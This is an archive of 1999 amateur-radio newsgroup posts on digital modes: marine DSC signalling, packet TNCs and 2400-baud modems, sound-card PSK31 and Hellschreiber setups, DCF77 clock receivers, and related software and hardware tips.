o For distress calls, the DSC call can even indicate the type of emergency

(fire, taking on water, etc).

DSC calls are SELECTIVE because unlike traditional voice radio calls, DSC calls can be addressed to a certain user or set of users. For example, DSC calls can be addressed to:

o A specific vessel or shore station
o Receivers in a specific geographic area
o A specific set of DSC receivers (for example all Coast Guard receivers).

When a DSC receiver "hears" a DSC call it looks at the address, geographic information, etc. It alerts an operator only if the call is intended for that unit. This eliminates the need for a watch-slander to constantly monitor
the receiver.

As stated before, DSC is primarily designed to establish a radio call. When
a DSC call is received, the receiving station will use the DSC protocol to acknowledge the call. At this point the two parties will move to a working frequency and a different mode (voice, fax, RTTY) to complete the call.

Format: The "packet" comprises a short burst of information giving the format specifier, the called party identity, the category, the originator identity, a telecommand, addition information such as ship's position, receive frequency, transmit frequency. The information is transmitted with forward error correction (FEC), and the packet contains a checksum, all intended to ensure data integrity.

Signal: The F1B (or J2B) packet is transmitted on MF/HF at 100 baud 170 Hz and lasts about 6-7 seconds. On VHF the baud rate is 1200 and the packet lasts approximately 0.5 seconds.

Identity: The originating/called station identities are achieved by individual Maritime Mobile Selective-call Identify (MMSI) numbers. These are nine digits long. Provision is also made for calling "All ships" and "All ships in a specified geogra-phical area".

Ship / shore DSC frequencies pairing:
Coast freqs: 1621.5 (rptd Norway), 1624.5 (rptd Denmark / Faeroes), 2177.0, 2177.5, 4219.5, 4220.0, 4220.5, 6331.0, 6331.5, 6332.0, 8436.5, 8437.0, 8437.5, 12657.0 (rptd used by WLO), 12657.5, 12658.0, 16903.0, 16903.5, 16904.0, 19703.5, 19704.0, 19704.5, 22444.0, 22444.5, 22445.0, 26121.0, 26121.5, 26122.0 kHz

I just connect my S5 to my Kantronics KPC-3 and use the built-in
'Comms' app to read the packets as they go by.

Pretty fancy, eh?

I suppose it wouldn't be too hard to write a OPL script to translate
APRS messages into an overlay file for RoutePlanner- it wouldn't be
realtime though.

Here is a down-and-dirty, poor-man's possibilty.

I use AtomTime, which is a shareware/freeware
application for Win95/98/NT that will check your
local PC's time against an atomic clock server,
and make adjustments to match it if you like.

You can then sync your shack clock to this manually.

Obviously, you must have a PC with a connection
to the Internet, and manual syncing may not be as
graceful as some other options, but if I'm a few sec's
off from the Atomic clock, I seem to stay alive.

Search for "atomtime" or "atomtime.exe", you will find it.

Hi,
The "Fuzzy Modes" web site, which specializes in human readable visual modes
for Radio Amateurs, has been moved to:

http://www.qsl.net/zl1bpu/

Please update your bookmark.

Human readable visual modes include Hellschreiber (Feld-Hell, MT-Hell) and
Medium Scan TV.

The "Fuzzy Modes" web site has plenty of information on these modes, and
includes really good software for Hellschreiber transmission and reception.
Hell is a sensitive weak signal mode, and the performance is very good.
There are probably well over 100 Amateur Hell operators world-wide.

The new site has upgraded pages, new information, and several improvements.

What are the differences between the US version of this model and the European Model? I note that the 440 coverage is only down to 438MHz in the US model.

Can the US version be "converted" to a European model? i.e Can the range be extended down to 430MHz (+ possible 1750Hz tone burst?)

1974. MFJ 2400 Baud Modem

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-16 00:00:00 UTC
From: artbecker@pipeline.com
Message-ID: <7f6sq7$5v0$1@camel21.mindspring.com>
Source record: 18630

Dear Friends:

I wrote MFJ a couple times about this, but haven't received a response.

I bought an MFJ-2400 2400 baud modem for my MFJ-1270B TNC.

I installed it, and I pretty much think it works, though I do need some advice about J4 & R38. J4 is the jumper for basic xmit audio levels, and R38 is a fine tune.

The package had been opened, prior to purchase. One of the first things I noticed on inspecting the modem, after I got it home, was that the jumper plug at J4 was
installed incorrectly. While one pin was OK, the other was forced into the center of the jumper plug, which not only bends the middle pin, but is pretty hard to do in the first place. It was easy enough to reinstall the plug correctly.

The thing is, the local packet station listed on the TAPR page as running 2400 baud here in Las Vegas apparently no longer exists, and I haven't found anyone else using 2400 baud.

That is, assuming the modem is functioning properly. Here is what I have, followed by a question:

1200 baud still works fine.
When selecting 2400 baud, the Turbo LED comes on.
The radio is controlled fine with the 2400 baud modem selection.
There is no smoke (always a good initial sign)

However, monitoring the signal with other radions makes me doubt that I have the modem set up properly, orpossibly that it is working properly.

The first thing is that I can barely hear the tones when transmitting. In fact, it sounds more like hum (or just a carrier) than packet tones. Yes, I know that 2400 baud doesn't sound the same as 1200 baud tones, and possibly they are quieter. But it seems like I am getting virtually nothing at all.

So, I tried all positions of J4, and adjusted R38 to various positions for each J4 setting. I also tried all this on two different radios.

Upon inspection of R38, I found that it was initially adjusted all the way clockwise, and it looked like some of the red dope (used to secure screws, & the resistor itself) was inside, on the resistor surface. This makes me think that whoever messed up the J4 jumper also fooled around with R38. I kind of thought that probably the dealer, or a

previous customer, were merely curious, but now I am not 100% sure.

So, here's the queston:

I have two HTs. One is an ICOM IC-2AT, and the other is an Icom IC-32-AT. Is there a recommended setting for J4 and R38? I couldn't find anything in the documentation for either about recommended audio in voltage or levels. I tried both radios, with all combinaitons of J4 and R38 settings, and, monitoring on another radio, never heard more than what might be very very weak 2400 baud tones.

Another question: should the tones/packet sound about as loud/strong as 1200 baud tones and packets?

You know, after writing all this out, I just remembered the possibility of a digital lookback test. But, the test is for the 1200 baud modem, and not the 2400.

There doesn't appear to be anyone around here with a 2400 baud modem so that I can test it.

There is no digital loopback jumper. Any hints on the best place to clip a temporary jumper?

Is anyone anywhere actually using 2400 baud packet?

Any hints you can give me would be appreciated.

Thanks.

1975. GMDSS DSC Decoding??

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-16 00:00:00 UTC
From: stuart_morgan@my-dejanews.com
Message-ID: <7f7bdk$m0g$1@nnrp1.dejanews.com>
Source record: 18631

I read a recent article describing the format of Marine Digital Selective Calls (DSC). I was thinking of being able to receive DSC calls without using DSC radio equipment, I have access to a PTC II Modem which can also demodulate FEC etc. According to the article MF/HF DSC uses FEC at 100 Baud with 170Hz tones. I have tried listening in to 2187.5 (the designated MF DSC freq), set the VFO to 2185.8 USB (mark tone @ 1785Hz, space tones @1615Hz). So far I have decoded nothing, IM not sure if 1700Hz is the correct offset. Has anyone else managed to successfully copy this ?

If so any advice would be most welcome.

In Germany there is DCF77, and clocks syncing from this transmission
(at 77.5 KHz) have become household appliances here. I have a
kitchen wallclock, an alarmclock and a wristwatch all DCF77 synced.
And of course a receiver connected to the computer.

Last time I bought an alarm clock just to rip it apart for the receiver
module (to use it on a PC at work), it cost me only DFL 19.95 (US$ 10)
at the local hardware store.

It contained a ferrite antenna, a small circuit board with a receiver
chip and a ceramic resonator, and a somewhat larger board with a clock
chip, another ceramic resonator (32.768 KHz), an LCD and some buttons.
The receiver can easily be separated from the clock, yielding only the
second-pulses, that can be processed in a PC using one of the many
existing drivers for DOS, Windows, Linux, etc. Just convert to RS232
using one or two transistors, and connect it to a COM port. The whole
thing takes so little power it can be powered by the DTR and RTS signals
from the COM port.

I did a little checking into the differences between FEC and DSC. Although you should be able to demodulate a DSC signal with an FEC modem, because the diversity time-spread is different, it shouldn't get decoded. If it is decoded, it will probably be gibberish.

If you do manage to decode something, don't go calling your local rescue coordination centre in a panic because you've received a bunch of distress alerts. Apparently, the original version of this equipment allowed for the automatic forwarding of any unacknowledged distress alert heard. So a distress message could be forwarded several times around the world on various frequencies until it runs out of steam.

I've sometimes though that hams might want to consider putting a VHF-DSC receiver on a pacsat and downlinking any distress messages heard. I think one of the OSCAR birds was used to test the feasibility of locating 121.5 MHz ELT/EPIRBs. We might even get some of the IMO member administrations interested in kicking in a few bucks, or at least a free launch in exchange for this type of service, though I'm not sure if it would be allowed under the radio regs.

Comparison of MF/HF DSC with HF NBDP (FEC)

Steve, just take a flathead screwdriver and give it a good hard twist. A slightly more elegant solutation would be to use a screw driver and a dental pick. Just pull the dental pick out while twisting on the lock cylinder. After a couple of tries you should be able to get it.

>
>If you're still having trouble, put up another posting describing in
>more detail what you are doing to try and decode the signals.
>
>Good Luck and 73
>Rick N6CY

like all above:

1) make sure you have good receive audio all the way to the TNC.
Simple things can keep your PK-232 from hearing, like having the radio
1/2 switch in the wrong position, or having the receive audio plugged
into the wrong connector. If the tuning bar is acheiving a good
"spread" when signals are present, and going back to two or three bars
at the center when no signal is present, you probably have sufficient
RX audio, which might mean you have this problem:

2) The Threshold pot on the PK-232 has (essentially) zero-length
leads from the pot to the PC board. If the PK-232 has ever been
dropped, or been packethere's a really good chance that one of the
leads has cracked. To repair this, I'd recommend getting a same-value
potentiometer and mounting it with the leads "facing up", then use
wires for flexibility to connect to the PC board. I can't put my hand
on a manual right now, but I believe it's a 1000 ohm pot. It is
sometimes possible to sneak a soldering iron in to the gap between the
pot and PCB and flow in some solder, but that's (probably) a temporary
fix.

If it's not one of the items above, drop me a line (or post it here,
but I don't look all that often) and I'll study the schematic and
cudgel my brain to remember how this all worked - I've not had any
serious troubles with mine since AEA and I parted ways about 5 years
ago. Once I study it for a few minutes (and maybe take a couple of
voltage readings) I'll be even better equipped to advise.

Go down to Goodwill Industries. Tell them you want a computer.
They will take your relic and dispose of it, and give you a nice IBM
XT, 286, or 386 in which to join the 90's. They love helping people
out, and anyone with a color computer needs help :-)

Come on! I'm joking!

If it has a rs-232 port, you do not need a special program just for
packet, but you cn use any treminal program.

Here are a few of the features available at the ACC 2 (13 pin) jack on the back panel:
Pin Function
3 fixed level audio output
4 ground (normally for audio output shield)
8 chassis ground
9 mic mute (grounding this pin mutes the front panel mic input)
11 back panel microphone input (aka "auxiliary input")
12 ground (normally for mic input shield)
13 standby pin/connect to ground to transmit (aka "ptt")

Good Luck 73 Rick N6CY

Black Cat Systems (http://www.blackcatsystems.com) announces that a pre-release of MultiMode 2 is now available. The current pre-release version is 2.0.0a9.

With this version MultiMode once again runs on 68K Macs, although some modes are not available due to the limited processing power of these systems.

MultiMode is a shareware application which allows your Macintosh to decode several different modes of non-voice communication often heard on shortwave radio. It is the only program of its kind for the Macintosh, and rivals commercial packages for the PC platform costing hundreds of dollars.

MultiMode allows you to decode and display morse code, RTTY, FAX, SSTV, ACARS, and many other modes on your Mac, without any extra hardware! MultiMode now also allows you to transmit in most of the modes of operation.

In the past, dedicated hardware, often costing hundreds or thousands of dollars, was necessary to demodulate and decode this transmissions. Today, you can use the processing power of your Macintosh to decode and display these modes, without any hardware.

MultiMode supports the following modes:

Morse Code (CW)
RTTY (Baudot)
ASCII
SITOR-A
SITOR-B / FEC / NAVTEX
SSTV (Slow Scan TV)
WEATHER / SATELLITE FAX
ACARS (Aircraft Communications)
WWVB Time Decode
DTMF, CCIR, EIA Tone Modes
Hellschreiber
Audio Spectrum Display to aid in properly tuning in stations

MultiMode 2 is shareware. MultiMode 2 may be downloaded from the following URL:
http://www.blackcatsystems.com/software/MultiMode2.html

Black Cat Systems creates and distributes Macintosh software, with a specific emphasis on programs for the scientific, amateur radio, and health markets.

Information about Black Cat Systems entire line of products can be found at

What you found is probably the passing of message traffic between two BBS's.
You might want to check back to the rules, since unattended digital operations
are treated differently below 30MHz than above.

There are several terminal programs available for the Palm -- I use one called OnLine that's shareware. You can't display 80 columns on the Palm screen, but the terminal programs offer various scrolling options to deal with that.

3Com makes a modem cable for the Palm that will plug into a TNC, though most stores don't seem to stock it. You can also use the laptop HotSync cable with a null modem connection (though this is not optimal; most null modems have several crossovers for handshaking lines, which are not necessary for packet use, and which increase current consumption).

For the ultimate in portable coolness, consider the Kenwood TH-D7A handytalkie -- it has a built in TNC for 1200 and 9600 baud. Although it's sold primarily as an APRS unit, it is also usable for other packet activities. I've built up a cable from the Palm to the D7, and I now have a wearable packet station!

All this said, the Palm isn't the best environment for serious packet work -- between the small screen area, and having to use Graffiti for input, it's much less efficient than a laptop. However, for testing, or emergency comms, it can be very useful. I've found it particularly useful for doing TNC resets and parameter checks when visiting our remote node sites.

Antoon:
All you have to do is isolate the S.B.from the rig. Both XMIT and RCV. Not sure if you have Radio Shack in Holland, but the isolation transformer from them is 273-1380. Thats what I use. Check my page at www.interlog.com/~stevef/amateur.htm and you can see the schematics to interface most rigs. You can also download the S.B.programs from that site.

Antoon, there is a schematic of a SSTV/DVK interface to
a soundcard at:

http://www.guam.net/pub/midxa/special/v_key_hard.html

It should give you some ideas. As for levels, those can be
adjusted with the Windows volume control for the most part.

2008. TAPR @ Dayton '99

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-19 00:00:00 UTC
From: "Greg Jones", WD5IVD <wd5ivd@tapr.org>
Message-ID: <7ffqtafte1@hornet.fibr.net>
Source record: 18514

TAPR Dayton Activities 1999
for details visit: http://www.tapr.org/tapr/html/Fdayton.html

---

TAPR Digital Forum on Friday

The schedule for the TAPR digital forum is:
10:00 - 10:05am (5 min)
Introduction to Forum, John Ackermann, N8UR

10:05 - 10:30am (25min)
TAPR Update, Greg Jones, WD5IVD

10:30 - 11:00am (30 min)
Linux AX.25 Update, John Ackermann, N8UR

11:00 - 11:30am (30 min)
PIC Development Update, Steve Bible, N7HPR and John Hansen, W2FS

11:30 - 12:00noon (30 min)
GPS Projects, Steve Bible, N7HPR

12:00noon - 12:30pm (30 min)
Compact Flash Card Project, John Koster, W9DDD

12:30 - 1:00pm (30 min)
TAPR APRS News, Steve Dimse, K4HG and Stan Horzepa, WA1LOU

1:00pm - 1:45pm (45 min)
FHSS Radio Project Update, Tom McDermott, N5EG

Attending the 1999 Dayton Hamvention? Then don't miss out on PACK*BASH!

What?
An event for the digitally-inclined ham, featuring:
* Buffet dinner
* "A Little Technology Goes a Long Way" -- Keynote address
by Dave Pederson, N7BHC
* TAPR special interest group meetings
* "Birds of a Feather" gatherings

When?
Friday evening, May 14, 1999
Doors open at 7:00 pm; dinner served at 7:30 pm
Speaker and meetings after dinner

Where?
NCR "Sugarcamp" Conference Center, 101 W. Schantz Ave. --
South of downtown Dayton, just west of Main St. (Rt 48).
Maps available on the TAPR web site (www.tapr.org) or at the
TAPR booth.

How?
Dinner requires advance registration and payment through TAPR.
Tickets will be available at the TAPR booth on Friday, though
we strongly encourage registration <before> Hamvention. The cost
is $20.00 per person, tax and tip included.

All amateurs are welcome to attend, enjoy the speaker, and
particpate in the meetings, although only those purchasing a
dinner can eat.

To register, contact:
PACK*BASH
c/o TAPR
8987-309 E. Tanque Verde Road #337
Tucson, AZ 85749-9399

Phone: (940) 383-0000
Fax: (940) 566-2544
Internet: tapr@tapr.org

Visa/Mastercard Accepted

Who?
PACK*BASH is co-sponsored by TAPR -- Tucson Amateur Packet
Radio, the national leader in digital communication -- and the
Miami Valley FM Association, Dayton's packet radio club.

For more information (including maps), go to
http://www.tapr.org/tapr/html/dayton.html,
or send email to tapr@tapr.org.

You can request information via packet radio at
BASH@W8APR.#DAY.OH.USA.NOAM.

Just as a side comment - those 13 pin DIN connectors are apparently
tough to find, according to a recent thread on the PSK31 list-server.
I just ordered the connector from Digi-key. It's part number CP-1013-ND
@ $1.65 each. Prior to ordering it, I called HRO, and they want $9.95
each. So I ordered 3 (+ shipping) for the same price from Digi-key :-)

Hope this helps!

2014. Re: HF PACKET BBS?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-20 00:00:00 UTC
From: clarke@aztec.asu.edu
Message-ID: <7fic70$ig7$1@news.asu.edu>
Source record: 18520

Probably the most popular HF Packet frequency is 14,105.5. There are lots of BBSs on there. Try 14,095.2 which is mostly South American stations. Try 10,149.25 and 10,147.25.

On 40 meters, try 7091.5 and 7103.5.

All of the above are dial reading on my Kenwood 430 using lower sideband with my PK232. So, if you are using something else, you may have to do some math.

Source record: 18522

Hello, my name is Tom and my callsign is KC8ISH. I have become very interested and excited about the packet mode of operation, particularly APRS. I am 26 years old and have had my tech plus license for well over a year now. My home QTH is Niles, MI, within the gridsquare of EN61. If there is anyone who lives near me or knows someone who lives near me, I would like some info on any and all digis and BBS's in this area.

Thanks and 73.

Tom, KC8ISH

2017. Re: Wanted: Information on digis

From: artbecker@pipeline.com
Message-ID: <7fioqnnie1@camel18.mindspring.com>
Source record: 18523

Tune a scanner or handheld to 145.05, 145.07, and 145.03 to see if you hear anything. Once you connect to a node, enter <info> or <ports> to find other local frequencies in use. The national APRS frequency is 144.39. Listening an hour or so during the day or early evening should tell you if there is any traffic. If you have a scanner, just program these 4 freqs and see what happens.

Check www.tapr.org, and also the North American digital list (or whatever) for your state. It might be of some use.

>auxiliary input ?

The 440 is about the easiest radio to hook up as it conveniently has an AFSK in and out set of RCA phono plugs on the back. They are really line in and out and are also connected to the 13 pin DIN plug connector. So far to make it simple, I hooked things direct. I found that I can not run full power sometimes without some rf problems but usually run 25 to 50 watts max. Also, I found that by backing off on the drive (mic) level, I could then increase the sound card line output to make the rf power fall into the area I wanted it too and tended to have less rf problems it seemed like compared to running low output from the soundcard and cranking up the drive control on the transceiver.

Eventually, I believe that I will use some isoation transformers but will have to rig something up.

By the way, if anyone sees me one the air, please critique my signal. I know that some of us are showing serious overdrive based on the multiple displays of vertically spaced lines in the waterfall. When I mentioned it to one station, they didn't want to hear it, but I think you need the help of others to be sure you are clean.

73,

Rick, KV9U

Been there, tried that....no luck. What terminal program would you suggest I try. I have the time limited PKGold to try to put it in KISS with, but that seems to not work. But, it is the only packet program I've managed to get connected to the node with. Unfortunately, the TNC came to me manual-less and I'm not familiar with AEA products. I used an MFJ TNC when I was playing packet, and I have forgotten, from lack of use, the stuff I used then. You know what they say, the mind is a terrible thing.....

Download PK TERM 99 from http://www.timewave.com The demo version provides VHF operation and includes the PK-88 in its set of supported TMC's. It runs on WIN95/98/NT. If you are running WIN3.x PC PakRATT for Windows ver 2.1 should do the job.

2026. Re: Command Set for PK-88

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-21 00:00:00 UTC
From: kd7nm@ricochet.net
Message-ID: <372533ac.1034662020@news.ricochet.net>
Source record: 18532

In PK-88's with December '89 or more recent firmware, the command to enter KISS mode is simply "KISS ON". You may also have to go to EXPERT mode - I'm uncertain or the firmware release date or the necessity for that one - if so, you'll need "EXPERT ON" first.

BTW: I'm the one that (almost 10 years ago) prodded AEA to put that command in.

2029. Has anyone written a book about Soundcards?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-21 00:00:00 UTC
From: W1PEV <paulvanasse@tp.net>
Message-ID: <YmjT2.187$u3.49493@news21.ispnews.com>
Source record: 18535
Cross-posted to:

Has anyone written a step by step, plain language book about using
Soundcards as a TNC (Im and old dog thats looking to learn some new tricks)?
A few gracious amateurs have directed me to various websites regarding this
conversion however they all seem to be written for computer geniuses. Im in
need of some very basic information ie:

1. What drivers or software are needed?
2. Step by step software installation instructions.
3. How does one access the program once installed into the computer?

Any assistance would be greatly appreciated.

Microsoft has a Dynamic Linked Library (DLL) for Windows,
for instance.

> 2. Step by step software installation instructions.

Visual Basic/Visual C++ can call the DLL, for instance.

> 3. How does one access the program once installed into the computer?

Simple compile the source code and run it as a standard application
under Windows, for instance.

Hi Andrew,

The 13 pin connector, is a little tight to work with although I use it
for many things. For PSK, I just run the audio from the soundcar into
the connector marked "afsk in", seems to work just fine me, can't get
much simplier.

>> The 13 pin connector, is a little tight to work with <<

Supposedly, one of the tricks is to remove the pins that aren't needed. This might give a bit more room to work in.

Actually, I think he meant a more simple & direct method of finding some
written software, install it and a operations manual for using the
application.. =)

Sorry, can't help you much on that though, although I know for sure that
Linux supports using soundcards for TNC, may be someone more well versed
in the subject can point out a good resource

Regards
Raphael

You can use a TI-92 calculator as your terminal - it even has a keyboard. I'm not sure how much palm pilots are but the TI-92 is only $165 brand new. I have a little stuff on my setup at http://www.angelfire.com/ut/data5/index.html I might post more info in the future.

So far, besides a laptop, you really can't beat the TI-92 as a micro size (and priced) terminal. It has a reasonably sized screen and a qwerty keyboard. I have a bit of info on my webpage: http://www.angelfire.com/ut/data5/index.html I'm going to add to it in the future to make it easier to duplicate my setup.

Nope, not in split mode and I am on USB and no mods done.
I dont think it makes any difference but in the setup of the program I have set
8000 as the sampling rate and nothing else is checked.

I have mine hard wired together with no isolation. just a resistive antenuator in the transmit line. Using a transistor for ptt to ground.

Radio and computer are plugged into same power source, I run SSTV and PSK31 with no problem so far. I DID have problems with one of my microphones, but the pc has been ok.

On the PSK31 mail reflector there has been some reference to very badly calibrated (factory) sound cards being a problem. Could this be your issue?

I'm unable to access it from cwix.com. DNS resolves the name OK, to
44.135.32.210. A ping to that address times out. I even tried a 5 second
time out for the ping. A trace route wouldn't work because it couldn't find
a route to the system. I was hoping it would give me a partial route, but
it didn't.

It's possible that the stations you were listening to were seriously overdriving their rigs with the sound card. If most of the stations you hear look good on the waterfall then I think you are okay.

8000 is standard for voice-grade telephone lines, i.e. for
100-3000Hz, which is communications quality voice. The
lower the sample rate, the slower the PC that can be used.

The TCM3105 has carrier detect feature available on the chip itself, however I wouldn't recommend using it. I have experimented with its use in the past, and had extremely dissapointing results. Basically, all it does is measure the wide-band audio level coming into the chip. The 3105 has a CDT pin that goes high when a "carrier" is detected. It makes no attempt to determine if this "carrier" is at the proper mark or space tone, or if the data is at the proper baud rate. If there's loud enough audio at the RXA (Receive Audio input) pin (open squelch or whatever) referenced the bias voltage at the CDL (Carrier Detect Level) pin, it'll enable the CDT pin.

You can feed the RXD (Receive Data output) and CDT into an AND gate if you want to enable/disable the output data stream from the interface, or you can connect CDT to your computer's carrier sense input to signal the software of activity.

I have found the use of the 3105's "carrier detect" to be almost useless for packet, even after careful adjustment and experimentation. The CDT is slow to enable, often clipping packet headers, and slow to release, creating lengthy delays before allowing the system to transmit. When monitoring activity, it'll often stay open between the end of one station's packet, and the beginning of the other station's packet.

Implementing it is simple enough, if you wish to experiment with its use. A 100k pot is placed between +5 volts and ground, with the wiper going to the CDL pin. This is pin 10 on the common 16-pin version of the chip. The 3105 has a very rare 24-pin version, where CDL is on pin 14. CDT is at pin 3 of both versions.

Here is Texas Instrument's alignment info from the application note:

- Apply 4V to the CDL pin.

- Apply an AC-coupled, sinusoidal signal to the RXA pin at a frequency between the mark and space frequencies for the mode selected. The amplitude of this signal is set to the lowest signal level that is desired for the modem to detect. A nominal signal level is -44 dBm.

- The CDT pin should be low.

- Decrease the voltage at the CDL pin until the voltage at the CDT pin becomes high.
NOTE: The TCM3105 has a carrier detect delay of 20ms to 80ms depending on the receive rate selected. A wait for this delay to time out is required before the CDT pin is monitored.

- The carrier detect level adjustment is now set.

There is an alternate carrier detect circuit for the 3105 modem at the Baycom web site. It uses an XR2211 (an FSK demodulator chip) to sense "carrier". It is designed for the PC interface, but I'm sure you can adapt it for your Amiga:
http://www.baycom.org/bayweb/tech/anst.htm
I haven't tried this circuit myself, so I don't know how well it will work.

The route I chose to follow was to make a direct connection to the tranceiver itself. I used an LM339 voltage comparator to monitor the squelch status of the radio. One input of the comparator goes to the wiper of a 100k pot that is connected between VCC and ground. The other input of the comparator goes to a suitable squelch-sense or AGC point inside the radio. Connect an NPN switching transistor so that the base is connected through a current-limiting resistor to VCC, and the emitter goes to ground. The collector is either left floating to switch your device, or connected to a pull-up resistor for a logic interface. The output of the comparator connects to the base of the switching transistor. When the comparator output is low, the base's resistor is pulled to ground, starving the transistor of base current and keeping it off. Which comparator input you use for squelch sense and which one you use to set your trip-level is determined by whether or not you want an active-high or active-low output from the transistor. You adjust the pot at the comparator's input so that the output responds quickly, but does not "jitter".

If you don't wish to modify the radio and you're using the radio's speaker output (not a discriminator tap) you could tap the audio input line to the 3105 to drive the comparator. Tap the audio line with a coupling capacitor, rectify the audio, and send it to the the comparator input. You'll need a resistor between the comparator's input and ground,

and a capacitor to smooth out the pulses. You'll have to play with the cap and resistor values. You now have a DC bias at the comparator input whenever audio is present at the 3105's input. The success of this methood is directly related to the response time of your radio's squelch, though, and if you adjust the audio level of your radio you'll probably have to re-set the trip-level pot at the comparator's other input pin.

Sounds like your radio is in split, or maybe an AFSK setting that gives you
a split.
Maybe the radio has been mod? I did some unusual mods to a radio to let it
recieve on cw but tx on ssb for rtty years ago.

My psk31 works as advertised as long as radio is in usb mode.

I have also noticed some instances of VERY stong images in my reciever that
were significantly offset from the true signal. any chance you are copying
the wrong image?

I have picked up a Kantronics KAM with (DOS) Hostmaster 2 software.
Does anyone have a Windows based term prgm for the KAM that they want to
sell at a "reasonable" price. ($20 or so) I can't see spending upwards of
$100 for something I wont use that often. Its not that I don't think those
prgm's aren't worth it. I just don't need anything that powerful.

1: TH-D7A Dual band HT, this HT is 1.5 month old.
In brand new condition, I have all manuals and
boxes. I made the computer interface cable, used
for little more than a month on APRS.

$350.00 Firm does not have the kenwood upgrade
Payed $447.00 new

2: GSP globalMap 100 by Lowrance
I have mobile power cable and computer interface cable.
Comes with windows maping software, unit has build in flash
memory for downloading local maps. Unit also has build in
national highways.

$350.00 purchased in November of last year for $500.00

3: HP Spectrum Analyzer with 141 T display 8553B RF Section
And 8552A IF Section.

$250.00

I'am selling to purchase new HF equipment, you may make offer
on HT and GPS.

Hi - did you know that there are digital modes that are intended to be human readable? Well of course, CW is, but there are also visual human readable modes.

One of these, Hellschreiber, and in particular Feld-Hell, is fast gaining popularity among the digitally enlightened hams, because it offers -
- performance hard to beat in any mode except CW
- slick operation, like RTTY or CW
- it's easy to use, the software is free, and is great fun
- it's uncannily like CW, but not such hard work!

All you need is a PC with a sound card and Win 95. If you run PSK31, then you can operate Hellschreiber!

To find out all about this exciting new mode (invented as recently as 1927), and to download all the software you need, visit the all new FUZZY MODES WEB SITE, at:

http://www.qsl.net/zl1bpu/

SEE you in Hell!

73,

Murray ZL1BPU

2061. Mac Ham Software ++

http://people.ne.mediaone.net/wd1v/index.html

is YOUR source for

Macnet Roster - the HyperCard Database of all hams with Macs

Macnet Software List - the list of all known ham radio programs for Macs

Macnet Member's Links - Links to all hams with Macs with WWW pages

Macnet FTP - Direct downloads of all the known Mac ham programs

Registration into Macnet is painless - an email to wd1v@amsat.org
detailing:

* Call Sign
* Full Name
* Address, City, State, Zip
* Email Address/WWW Site
* Macs Used
* Radios Used
* Software Used
* Passions
* Comments

gets you into Macnet Roster and that is it. All for FREE, all for FUN!

Source record: 18471

I am looking for a packet bbs program which will run under linux.

It would need to support the KAM Plus tnc, or any kiss mode tnc. Also, it would need to be able to handle tcp/ip connections via the internet.

I downloaded a copy of TNOS, but have not been able to connect to the home site on the internet for this package since.

If anyone can assist me in setting up TNOS, or recommend another package, that would be great. I am looking forward to a response soon.

Do you mean you want it to be a gateway between packet and the internet? If you just want to connect to the internet at the same time as running packet, the kernel itself will do a better job of that.

>

I understand the author of TNOS has stopped supporting it and closed down his site. You can get JNOS (on which TNOS was based) from pc.usl.edu. It will compile just fine with glibc 2.0 (I'm not sure if TNOS supports this) and version 1.11C will work with just about any version of ncurses.

Another possibility would be to run the kernel-based AX.25 utilities with the F6FBB BBS software.

CWGet is a very nice program, Sergei. I've been playing with
it for the past hour and it does a good job copying. I really like
the way you've implemented the displays and controls. It was
dead easy to learn to use without even reading your help file.
(And your help file is good too.)

OTOH, I also downloaded CWType, that could use a bit more
work. It sends good code, but it is clumsy to operate, not nearly
as intuitive as CWGet. Your help text isn't very clear either.
I'm sure it is a fine program once you get used to it, but after
playing with CWGet I was a bit disappointed.

>
>- Rich

True, but it is neat, and it is also faster than most CW ops can copy.
I also like the fact that it is "fuzzy". There's enough redundancy in each
character that a noise hit usually doesn't corrupt it so bad you can't
figure out what it was. It isn't the equal of PSK31 most of the time,
but when auroral flutter phase scatters PSK31, you can still make
out many of the dot matrix characters of S/MT-Hell (IMHO S/MT-Hell
works better than Feld-Hell). You can also copy *several* Hell QSOs
at the same time (provided they're fairly close in frequency to each
other). None of the other digital methods let you do that. That's one
of the advantages CW ops have had to themselves up until now.

I like Gram42 so much that I leave a copy of it running nearly all
the time. Being able to *see* what's going on in the passband is
really useful. I keep it up on a second computer so I can also
be running a different sound card program on the main machine,
usually PSK31. I think I could run two sound cards in the same
machine, but I haven't quite figured out how to do that under
Windoze yet. (Windoze isn't my operating system of choice,
but Linux versions of some of these neat programs aren't yet
available as far as I know.)

The DSP599zx is a audio filter. With the addition of the DSP RTTY software, from TimeWave, it will decode RTTY for reception. I'm not sure if it works for encoding.

RS232 is not a code. It is a voltage level specification for communicating
serially over a set of wires. What the DSP599 does in RTTY mode is act
as a classic TU (Terminal Unit). It demodulates the RTTY tones into
RS232 voltage levels, but it does no *code translation*. The code is still
Baudot.

Terminal programs like PCPLUS expect ASCII coded characters. It won't
understand Baudot coded characters. So you need a special terminal program
which does understand Baudot code. Timewave sells one, there are others.
You can use PCPLUS to send and receive *ASCII RTTY* (110 baud) on HF.
Some stations use that. But you can't do standard Baudot RTTY without
a terminal program which understands Baudot code.

There is another way you can use the DSP599 with RTTY. It can be configured
to act as a *regenerative bit repeater*. In this mode, it receives the (noisy) RTTY
tones from your radio, demodulates them, and remodulates them to clean noise
free tones for use by your external data controller (a PK232 or KAM for example).
Those data controllers *do* code conversion, so you could use PCPLUS with them
since they convert Baudot to ASCII and your program will see ASCII text.

You could also use a cheapy Hamcom type interface with good performance
this way. Since the tones coming from the DSP599 in bit regenerative mode
are *perfect* and noise free, they will cleanly decode with that sort of simple
hardware/software package. This will give a *major* improvement in performance
over the simple zero crossing counting bit banger.

Thirdly, you can just use the DSP599 as a narrow filter in front of a conventional
TU or data controller. In that mode, it is simply acting as a bandpass filter. You
don't gain much benefit from using it this way unless your receiver's narrow IF
filters are poor.

It does. It synthesizes the tones in accordance with the RS232 levels sent
to it, just like any other TU.

2082. MultiMode - Macintosh RTTY/CW/SSTV/PSK31/etc software available

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-25 00:00:00 UTC
From: csmolinski@erols.com
Message-ID: <csmolinski-ya02408000R2504992102540001@news.erols.com>
Source record: 18488
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.shortwave,rec.radio.scanner

